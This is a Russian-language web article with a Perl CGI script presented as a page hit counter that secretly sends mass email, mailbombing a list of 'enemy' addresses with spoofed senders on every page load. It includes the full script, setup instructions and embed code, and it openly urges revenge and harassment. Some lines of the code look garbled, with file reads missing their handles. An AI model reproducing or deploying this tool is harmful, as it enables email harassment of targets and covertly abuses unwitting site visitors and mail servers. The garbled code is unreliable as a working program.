Накажи своего врага!

Скажи, тебя когда-нибудь обижали? Ну к примеру, какой-нибудь придурок писал разные гадости тебе на мыло? Не писал, да? Тогда тебе просто повезло и ты можешь дальше не читать, ибо эта статья — не для тебя. Итак, есть тот, кому ты очень хочешь отомстить. Наверное тебе приходит в голову мысль просто засыпать его e-mail гнусным спамом… Но вот беда ты слишком ленив, чтобы ежедневно слать ему сотни мегабайт мусора… Да и из модема много не выжмешь… Что ж подойдем к проблеме с другой стороны — у тебя есть пага? Ну конечно же есть — ведь ты продвинутый перец… И ты, наверное, поставил на ней счетчик, чтобы знать сколько людей приходит на нее посмотреть. Скажи, я что умеет твой счетчик? Что, только количество посещений считать!?!? И что больше ничего? А что будет если его заменить на «Счетчик-Бомбер»? Тогда каждый, кто заходит на твою пагу, будет отправлять спам твоим врагам, абсолютно не зная об этом… Предположим:

  • А) у тебя на паге будет счетчик всего из пяти цифр;
  • Б) посещаемость твоей паги — 100 человек в день;
  • B) у тебя трое врагов;

Итого: В результате того, что пагу посетит 100 человек, твой «счетчик», будет запущен 500 раз и отправит 1500 писем твоим врагам. А теперь представь, что каждое письмо мы сделаем в мегабайт величиной… получается 1,5 ГИГАБАЙТА спама В ДЕНЬ, или по 500 мегабайт на каждого недруга… А ты даже и пальцем не пошевелил… Классно, да? Тогда, меняй скорее свой счетчик на мой «счетчик-бомбер» и читай дальше как им пользоваться…

#!/usr/bin/perl

$mailprog = '/usr/sbin/sendmail';
$digits_basedir = "http://www.твоя_пага.ru/digits/";
$count_file = "count.txt";
$classica = "classics.txt";
$targets = "targets.txt";
$emails = "emails.txt";
$results = "results.txt";

($place, $Write) = split(/\&/,$ENV{QUERY_STRING});
open (COUNT,"$count_file") || 
die "Can't Open Count File $count_file, Error : $!\n"; ($count) = ; chomp($count); close(COUNT); $count++; open (COUNT,">$count_file") ||
die "Can't Open Count File $count_file, Error : $!\n"; print COUNT "$count"; close(COUNT); $count = "0000000000".$count; @chiffres = split(//, $count); @chiffres = reverse(@chiffres); print "Location: ".$digits_basedir.$chiffres[$place].".gif\n\n"; open (COUNT,">$count_file") ||
die "Can't Write Count File $count_file, Error : $!\n"; ($count2) = ; chomp($count); close(COUNT); open (CLASSICS, "$classica") ||
die "Can't open CLASSICS File $classica, Error : $!\n"; (@classics) = ; $total = @classics; while (($count2) > ($total)){ $count2 = $count2 — $total; } $subject = $classics[$count2]; chomp ($subject); close CLASSICS; open (EMAILS, "$emails") ||
die "Can't open EMAILS File $emails, Error : $!\n"; (@emails) = ; $total2 = @emails; while (($count2) > ($total2)){ $count2 = $count2 — $total2; } $from = $emails[$count2]; chomp ($from); close EMAILS; open (RESULTS, "$results") ||
die "Can't Open RESULTS File $results, Error : $!\n"; ($count3) = ; chomp($count3); close(RESULTS); open (TARGETS, "$targets") ||
die "Can't Open TARGETS File $targets, Error : $!\n"; while (){ ($target) = ; chomp ($target); open (MAIL, "|$mailprog -t"); print MAIL "Content-Type: text/plain\n"; print MAIL "Subject: $subject\n"; print MAIL "To: $target\n"; print MAIL "From: $from\n\n"; print MAIL "На козел, покушай классики!!!\n\n"; print MAIL "@classics\n"; close MAIL; $count3++; } open (RESULTS,">$results") ||
die "Can't Write RESULTS File $results, Error : $!\n"; print RESULTS "$count3"; close RESULTS; Coded by: CoolHacker

Уже заменил? Ну что ж теперь не грех рассказать как он действует… В папке со скриптом у тебя должно быть пять файлов:

  1. Count.txt — тот файл, куда будут записываться показания счетчика (кол-во посещений);
  2. Classics.txt — тот файл, откуда будет браться текст для писем (у меня это глава из «Капитанской дочки» А.С. Пушкина), из этого файла также случайным образом будет генерироваться заголовок сообщения;
  3. Targets.txt — Список «вражеских» e-mail`ов (каждый адрес с новой строки);
  4. Emails.txt — из этого файла будет случайным образом выбираться адрес отправителя письма, поэтому это должен быть список e-mail`ов, где каждый адрес написан с новой строки;
  5. Results.txt — Служебный файл, куда будет записываться количество отправленных писем (чтобы душа смотрела и радовалась);

Итак, посетитель заходит на страницу, в результате чего счетчик запускается столько раз, сколько цифр ты указал для отображения. При каждом запуске, он отправляет по одному письму каждому из врагов, адреса которых находятся в targets.txt (письма не простые, а со случайным адресом отправителя и случайной темой). Текст письма берется из classics.txt — поэтому советую напихать туда побольше текста… Ну а теперь как пользоваться счетчиком — именно как счетчиком… Тебе понадобятся цифры для самого счетчика — их можно взять на моем сайте. Для того, чтобы пользоваться счетчиком по прямому назначению, нужно вставить в свою пагу следующий код:

<img src="http://www.твоя_пага.ru/cgi-bin/counter.cgi?2"> <img src="http://wwww.твоя_пага.ru/cgi-bin/counter.cgi?1"> <img src="http://wwww.твоя_пага.ru/cgi-bin/counter.cgi?0&w">

В результате будет выдан счетчик из трех цифр, как поставить больше цифр — догадайся сам ;-)) Этот счетчик будет показать количество посещений твоей паги… Теперь нам нужен счетчик служебный который будет показывать количество отправленных писем:

#!/usr/bin/perl

$file = "results.txt";
$digits_basedir = "http://www.твоя_пага.ru/digits/";

($place, $Write) = split(/\&/,$ENV{QUERY_STRING});

open (COUNT, "$file") || 
die "Can't Open Count File $file, Error : $!\n"; ($count) = ; chomp($count); close(COUNT); $count = "0000000000".$count; @chiffres = split(//, $count); @chiffres = reverse(@chiffres); print "Location: ".$digits_basedir.$chiffres[$place].".gif\n\n";
Вызвать служебный счетчик можно аналогично первому, за исключением параметра «&W».

Copyright © 2002-2006 Максим Комогоров. Все права защищены.
Замечания, вопросы и предложения направляйте
по адресу: webscript@pisem.net
Поиск по сайту
О проекте
Архив
Hosted by uCoz